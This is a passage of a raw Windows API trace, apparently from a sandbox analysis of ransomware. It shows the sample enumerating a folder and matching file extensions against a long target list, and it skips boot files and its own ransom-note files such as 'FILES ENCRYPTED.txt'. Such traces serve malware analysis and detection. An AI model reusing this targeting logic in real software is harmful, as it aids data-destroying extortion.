(lpString=".kdc") returned 4 [0083.753] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0083.753] lstrlenW (lpString=".kmz") returned 4 [0083.754] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0083.754] lstrlenW (lpString=".kwm") returned 4 [0083.754] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0083.754] lstrlenW (lpString=".lasso") returned 6 [0083.754] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0083.754] lstrlenW (lpString=".lbi") returned 4 [0083.754] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0083.754] lstrlenW (lpString=".lgf") returned 4 [0083.754] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0083.754] lstrlenW (lpString=".lgp") returned 4 [0083.754] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0083.754] lstrlenW (lpString=".log") returned 4 [0083.754] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0083.754] lstrlenW (lpString=".m1v") returned 4 [0083.754] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0083.754] lstrlenW (lpString=".m4a") returned 4 [0083.754] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0083.754] lstrlenW (lpString=".m4v") returned 4 [0083.754] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0083.754] lstrlenW (lpString=".max") returned 4 [0083.754] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0083.755] lstrlenW (lpString=".md") returned 3 [0083.755] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0083.755] lstrlenW (lpString=".mda") returned 4 [0083.755] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0083.755] lstrlenW (lpString=".mdb") returned 4 [0083.755] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0083.755] lstrlenW (lpString=".mde") returned 4 [0083.755] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0083.755] lstrlenW (lpString=".mdf") returned 4 [0083.755] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0083.755] lstrlenW (lpString=".mdw") returned 4 [0083.755] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0083.755] lstrlenW (lpString=".mef") returned 4 [0083.755] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0083.755] lstrlenW (lpString=".mft") returned 4 [0083.755] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0083.755] lstrlenW (lpString=".mfw") returned 4 [0083.755] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0083.755] lstrlenW (lpString=".mht") returned 4 [0083.755] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0083.755] lstrlenW (lpString=".mhtml") returned 6 [0083.756] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0083.756] lstrlenW (lpString=".mka") returned 4 [0083.756] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0083.756] lstrlenW (lpString=".mkidx") returned 6 [0083.756] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0083.756] lstrlenW (lpString=".mkv") returned 4 [0083.756] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0083.756] lstrlenW (lpString=".mos") returned 4 [0083.756] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0083.756] lstrlenW (lpString=".mov") returned 4 [0083.756] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0083.756] lstrlenW (lpString=".mp3") returned 4 [0083.756] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0083.756] lstrlenW (lpString=".mp4") returned 4 [0083.756] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0083.756] lstrlenW (lpString=".mpeg") returned 5 [0083.756] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0083.756] lstrlenW (lpString=".mpg") returned 4 [0083.756] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0083.756] lstrlenW (lpString=".mpv") returned 4 [0083.756] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0083.756] lstrlenW (lpString=".mrw") returned 4 [0083.756] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0083.757] lstrlenW (lpString=".msg") returned 4 [0083.757] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0083.757] lstrlenW (lpString=".mxl") returned 4 [0083.757] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0083.757] lstrlenW (lpString=".myd") returned 4 [0083.757] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0083.757] lstrlenW (lpString=".myi") returned 4 [0083.757] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0083.757] lstrlenW (lpString=".nef") returned 4 [0083.757] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0083.757] lstrlenW (lpString=".nrw") returned 4 [0083.757] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0083.757] lstrlenW (lpString=".obj") returned 4 [0083.757] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0083.757] lstrlenW (lpString=".odb") returned 4 [0083.757] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0083.757] lstrlenW (lpString=".odc") returned 4 [0083.757] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0083.757] lstrlenW (lpString=".odm") returned 4 [0083.757] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0083.757] lstrlenW (lpString=".odp") returned 4 [0083.757] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0083.758] lstrlenW (lpString=".ods") returned 4 [0083.758] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0083.758] lstrlenW (lpString=".oft") returned 4 [0083.758] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0083.758] lstrlenW (lpString=".one") returned 4 [0083.758] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0083.758] lstrlenW (lpString=".onepkg") returned 7 [0083.758] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0083.758] lstrlenW (lpString=".onetoc2") returned 8 [0083.758] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0083.758] lstrlenW (lpString=".opt") returned 4 [0083.758] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0083.758] lstrlenW (lpString=".oqy") returned 4 [0083.758] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0083.758] lstrlenW (lpString=".orf") returned 4 [0083.758] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0083.758] lstrlenW (lpString=".p12") returned 4 [0083.758] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0083.758] lstrlenW (lpString=".p7b") returned 4 [0083.758] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0083.758] lstrlenW (lpString=".p7c") returned 4 [0083.758] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0083.759] lstrlenW (lpString=".pam") returned 4 [0083.759] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0083.759] lstrlenW (lpString=".pbm") returned 4 [0083.759] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0083.759] lstrlenW (lpString=".pct") returned 4 [0083.759] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0083.759] lstrlenW (lpString=".pcx") returned 4 [0083.759] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0083.759] lstrlenW (lpString=".pdd") returned 4 [0083.759] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0083.759] lstrlenW (lpString=".pdf") returned 4 [0083.759] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0083.759] lstrlenW (lpString=".pdp") returned 4 [0083.759] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0083.759] lstrlenW (lpString=".pef") returned 4 [0083.759] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0083.759] lstrlenW (lpString=".pem") returned 4 [0083.759] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0083.759] lstrlenW (lpString=".pff") returned 4 [0083.759] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0083.759] lstrlenW (lpString=".pfm") returned 4 [0083.759] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0083.760] lstrlenW (lpString=".pfx") returned 4 [0083.760] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0083.760] lstrlenW (lpString=".pgm") returned 4 [0083.760] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0083.760] lstrlenW (lpString=".php") returned 4 [0083.760] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0083.760] lstrlenW (lpString=".php3") returned 5 [0083.760] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0083.760] lstrlenW (lpString=".php4") returned 5 [0083.760] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0083.760] lstrlenW (lpString=".php5") returned 5 [0083.760] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0083.760] lstrlenW (lpString=".phtml") returned 6 [0083.760] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0083.760] lstrlenW (lpString=".pict") returned 5 [0083.760] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0083.760] lstrlenW (lpString=".pl") returned 3 [0083.760] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0083.760] lstrlenW (lpString=".pls") returned 4 [0083.760] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0083.760] lstrlenW (lpString=".pm") returned 3 [0083.760] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0083.760] lstrlenW (lpString=".png") returned 4 [0083.761] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0083.761] lstrlenW (lpString=".pnm") returned 4 [0083.761] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0083.761] lstrlenW (lpString=".pot") returned 4 [0083.761] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0083.761] lstrlenW (lpString=".potm") returned 5 [0083.761] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0083.761] lstrlenW (lpString=".potx") returned 5 [0083.761] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0083.761] lstrlenW (lpString=".ppa") returned 4 [0083.761] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0083.761] lstrlenW (lpString=".ppam") returned 5 [0083.761] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0083.761] lstrlenW (lpString=".ppm") returned 4 [0083.761] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0083.761] lstrlenW (lpString=".pps") returned 4 [0083.761] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0083.761] lstrlenW (lpString=".ppsm") returned 5 [0083.761] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0083.761] lstrlenW (lpString=".ppt") returned 4 [0083.761] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0083.761] lstrlenW (lpString=".pptm") returned 5 [0083.762] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0083.762] lstrlenW (lpString=".pptx") returned 5 [0083.762] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0083.762] lstrlenW (lpString=".prn") returned 4 [0083.762] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0083.762] lstrlenW (lpString=".ps") returned 3 [0083.762] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0083.762] lstrlenW (lpString=".psb") returned 4 [0083.762] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0083.762] lstrlenW (lpString=".psd") returned 4 [0083.762] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0083.762] lstrlenW (lpString=".pst") returned 4 [0083.762] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0083.762] lstrlenW (lpString=".ptx") returned 4 [0083.762] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0083.762] lstrlenW (lpString=".pub") returned 4 [0083.763] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0083.763] lstrlenW (lpString=".pwm") returned 4 [0083.763] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0083.763] lstrlenW (lpString=".pxr") returned 4 [0083.763] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0083.763] lstrlenW (lpString=".py") returned 3 [0083.763] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0083.763] lstrlenW (lpString=".qt") returned 3 [0083.763] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0083.763] lstrlenW (lpString=".r3d") returned 4 [0083.763] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0083.763] lstrlenW (lpString=".raf") returned 4 [0083.763] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0083.763] lstrlenW (lpString=".rar") returned 4 [0083.763] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0083.763] lstrlenW (lpString=".raw") returned 4 [0083.763] lstrcmpiW (lpString1=".raw", lpString2=".rtf") returned -1 [0083.763] lstrlenW (lpString=".rdf") returned 4 [0083.763] lstrcmpiW (lpString1=".rdf", lpString2=".rtf") returned -1 [0083.764] lstrlenW (lpString=".rgbe") returned 5 [0083.764] lstrcmpiW (lpString1=".rgbe", lpString2="a.rtf") returned -1 [0083.764] lstrlenW (lpString=".rle") returned 4 [0083.764] lstrcmpiW (lpString1=".rle", lpString2=".rtf") returned -1 [0083.764] lstrlenW (lpString=".rqy") returned 4 [0083.764] lstrcmpiW (lpString1=".rqy", lpString2=".rtf") returned -1 [0083.764] lstrlenW (lpString=".rss") returned 4 [0083.764] lstrcmpiW (lpString1=".rss", lpString2=".rtf") returned -1 [0083.764] lstrlenW (lpString=".rtf") returned 4 [0083.764] lstrcmpiW (lpString1=".rtf", lpString2=".rtf") returned 0 [0083.764] lstrlenW (lpString="eula.rtf") returned 8 [0083.764] lstrlenW (lpString=".kr") returned 3 [0083.764] lstrcmpiW (lpString1=".kr", lpString2="rtf") returned -1 [0083.764] lstrlenW (lpString="eula.rtf") returned 8 [0083.764] lstrcmpiW (lpString1="boot.ini", lpString2="eula.rtf") returned -1 [0083.764] lstrcmpiW (lpString1="bootfont.bin", lpString2="eula.rtf") returned -1 [0083.764] lstrcmpiW (lpString1="ntldr", lpString2="eula.rtf") returned 1 [0083.764] lstrcmpiW (lpString1="ntdetect.com", lpString2="eula.rtf") returned 1 [0083.764] lstrcmpiW (lpString1="io.sys", lpString2="eula.rtf") returned 1 [0083.764] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="eula.rtf") returned 1 [0083.764] lstrcmpiW (lpString1="Info.hta", lpString2="eula.rtf") returned 1 [0083.764] lstrcmpiW (lpString1="WindowsSystem32file.pe32.exe", lpString2="eula.rtf") returned 1 [0083.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0083.764] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0083.765] lstrlenW (lpString="LocalizedData.xml") returned 17 [0083.765] lstrlenW (lpString=".1cd") returned 4 [0083.765] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0083.765] lstrlenW (lpString=".3ds") returned 4 [0083.765] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0083.765] lstrlenW (lpString=".3fr") returned 4 [0083.765] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0083.765] lstrlenW (lpString=".3g2") returned 4 [0083.765] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0083.765] lstrlenW (lpString=".3gp") returned 4 [0083.765] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0083.765] lstrlenW (lpString=".7z") returned 3 [0083.765] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0083.765] lstrlenW (lpString=".accda") returned 6 [0083.765] lstrcmpiW (lpString1=".accda", lpString2="ta.xml") returned -1 [0083.765] lstrlenW (lpString=".accdb") returned 6 [0083.765] lstrcmpiW (lpString1=".accdb", lpString2="ta.xml") returned -1 [0083.765] lstrlenW (lpString=".accdc") returned 6 [0083.765] lstrcmpiW (lpString1=".accdc", lpString2="ta.xml") returned -1 [0083.765] lstrlenW (lpString=".accde") returned 6 [0083.765] lstrcmpiW (lpString1=".accde", lpString2="ta.xml") returned -1 [0083.765] lstrlenW (lpString=".accdt") returned 6 [0083.765] lstrcmpiW (lpString1=".accdt", lpString2="ta.xml") returned -1 [0083.766] lstrlenW (lpString=".accdw") returned 6 [0083.766] lstrcmpiW (lpString1=".accdw", lpString2="ta.xml") returned -1 [0083.766] lstrlenW (lpString=".adb") returned 4 [0083.766] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0083.766] lstrlenW (lpString=".adp") returned 4 [0083.766] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0083.766] lstrlenW (lpString=".ai") returned 3 [0083.766] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0083.766] lstrlenW (lpString=".ai3") returned 4 [0083.766] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0083.766] lstrlenW (lpString=".ai4") returned 4 [0083.766] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0083.766] lstrlenW (lpString=".ai5") returned 4 [0083.766] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0083.766] lstrlenW (lpString=".ai6") returned 4 [0083.766] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0083.766] lstrlenW (lpString=".ai7") returned 4 [0083.766] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0083.766] lstrlenW (lpString=".ai8") returned 4 [0083.766] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0083.766] lstrlenW (lpString=".anim") returned 5 [0083.766] lstrcmpiW (lpString1=".anim", lpString2="a.xml") returned -1 [0083.766] lstrlenW (lpString=".arw") returned 4 [0083.766] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0083.766] lstrlenW (lpString=".as") returned 3 [0083.766] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0083.766] lstrlenW (lpString=".asa") returned 4 [0083.767] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0083.767] lstrlenW (lpString=".asc") returned 4 [0083.767] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0083.767] lstrlenW (lpString=".ascx") returned 5 [0083.767] lstrcmpiW (lpString1=".ascx", lpString2="a.xml") returned -1 [0083.767] lstrlenW (lpString=".asm") returned 4 [0083.767] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0083.767] lstrlenW (lpString=".asmx") returned 5 [0083.767] lstrcmpiW (lpString1=".asmx", lpString2="a.xml") returned -1 [0083.767] lstrlenW (lpString=".asp") returned 4 [0083.767] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0083.767] lstrlenW (lpString=".aspx") returned 5 [0083.767] lstrcmpiW (lpString1=".aspx", lpString2="a.xml") returned -1 [0083.767] lstrlenW (lpString=".asr") returned 4 [0083.767] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0083.767] lstrlenW (lpString=".asx") returned 4 [0083.767] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0083.767] lstrlenW (lpString=".avi") returned 4 [0083.767] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0083.767] lstrlenW (lpString=".avs") returned 4 [0083.767] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0083.767] lstrlenW (lpString=".backup") returned 7 [0083.767] lstrcmpiW (lpString1=".backup", lpString2="ata.xml") returned -1 [0083.767] lstrlenW (lpString=".bak") returned 4 [0083.767] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0083.767] lstrlenW (lpString=".bay") returned 4 [0083.768] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0083.768] lstrlenW (lpString=".bd") returned 3 [0083.768] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0083.768] lstrlenW (lpString=".bin") returned 4 [0083.768] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0083.768] lstrlenW (lpString=".bmp") returned 4 [0083.768] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0083.768] lstrlenW (lpString=".bz2") returned 4 [0083.768] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0083.768] lstrlenW (lpString=".c") returned 2 [0083.768] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0083.768] lstrlenW (lpString=".cdr") returned 4 [0083.768] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0083.768] lstrlenW (lpString=".cer") returned 4 [0083.768] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0083.768] lstrlenW (lpString=".cf") returned 3 [0083.768] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0083.768] lstrlenW (lpString=".cfc") returned 4 [0083.768] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0083.768] lstrlenW (lpString=".cfm") returned 4 [0083.768] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0083.768] lstrlenW (lpString=".cfml") returned 5 [0083.768] lstrcmpiW (lpString1=".cfml", lpString2="a.xml") returned -1 [0083.768] lstrlenW (lpString=".cfu") returned 4 [0083.768] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0083.768] lstrlenW (lpString=".chm") returned 4 [0083.768] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0083.769] lstrlenW (lpString=".cin") returned 4 [0083.769] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0083.769] lstrlenW (lpString=".class") returned 6 [0083.769] lstrcmpiW (lpString1=".class", lpString2="ta.xml") returned -1 [0083.769] lstrlenW (lpString=".clx") returned 4 [0083.769] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0083.769] lstrlenW (lpString=".config") returned 7 [0083.769] lstrcmpiW (lpString1=".config", lpString2="ata.xml") returned -1 [0083.769] lstrlenW (lpString=".cpp") returned 4 [0083.769] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0083.769] lstrlenW (lpString=".cr2") returned 4 [0083.769] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0083.769] lstrlenW (lpString=".crt") returned 4 [0083.769] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0083.769] lstrlenW (lpString=".crw") returned 4 [0083.769] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0083.769] lstrlenW (lpString=".cs") returned 3 [0083.769] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0083.769] lstrlenW (lpString=".css") returned 4 [0083.769] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0083.769] lstrlenW (lpString=".csv") returned 4 [0083.769] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0083.769] lstrlenW (lpString=".cub") returned 4 [0083.769] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0083.769] lstrlenW (lpString=".dae") returned 4 [0083.769] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0083.769] lstrlenW (lpString=".dat") returned 4 [0083.770] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0083.770] lstrlenW (lpString="SetupResources.dll") returned 18 [0083.770] lstrlenW (lpString=".1cd") returned 4 [0083.770] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0083.770] FindClose (in: hFindFile=0x42602d0 | out: hFindFile=0x42602d0) returned 1 [0083.770] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0083.770] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0083.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036") returned 26 [0083.771] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1036") returned 1 [0083.771] lstrlenW (lpString="1036") returned 4 [0083.771] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1036") returned 1 [0083.771] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0083.771] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260310 [0083.772] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.772] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0083.772] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, 